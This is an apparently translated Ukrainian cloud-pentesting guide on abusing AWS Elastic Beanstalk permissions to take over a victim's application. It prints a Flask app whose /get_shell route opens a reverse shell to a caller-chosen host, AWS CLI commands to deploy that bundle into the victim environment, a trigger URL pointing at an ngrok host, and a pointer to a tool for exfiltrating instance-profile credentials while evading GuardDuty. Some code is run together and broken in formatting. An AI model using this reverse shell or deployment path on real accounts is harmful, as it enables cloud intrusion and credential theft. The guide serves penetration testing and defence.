Щоб виконати чутливі дії в Beanstalk, вам потрібно мати багато чутливих дозволів у багатьох різних сервісах. Ви можете перевірити, наприклад, дозволи, надані arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, дозволи на запис в S3 та багато інших
З дозволами на запис у S3 бакет, що містить код середовища, та дозволами на перебудову програми (потрібно elasticbeanstalk:RebuildEnvironment і кілька інших, пов'язаних з S3, EC2 та Cloudformation), ви можете модифікуватикод, перебудувати додаток, і наступного разу, коли ви отримуєте доступ до додатку, він виконає ваш новий код, що дозволяє зловмиснику скомпрометувати додаток та облікові дані IAM ролі.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, і більше...
Зазначені, а також кілька S3, EC2, cloudformation, autoscaling та elasticloadbalancing дозволів є необхідними для створення базового сценарію Elastic Beanstalk з нуля.
По-перше, вам потрібно створити легітимне середовище Beanstalk з кодом, який ви хочете запустити у жертви, дотримуючись попередніх кроків. Потенційно це може бути простий zip, що містить ці 2 файли:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Якщо у вас запущене власне середовище Beanstalk з вашим rev shell, настав час мігрувати його до середовища жертви. Для цього вам потрібно оновити політику бакету вашого S3 бакету Beanstalk, щоб жертва могла отримати доступ до нього (Зверніть увагу, що це відкриє бакет для ВСІХ):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.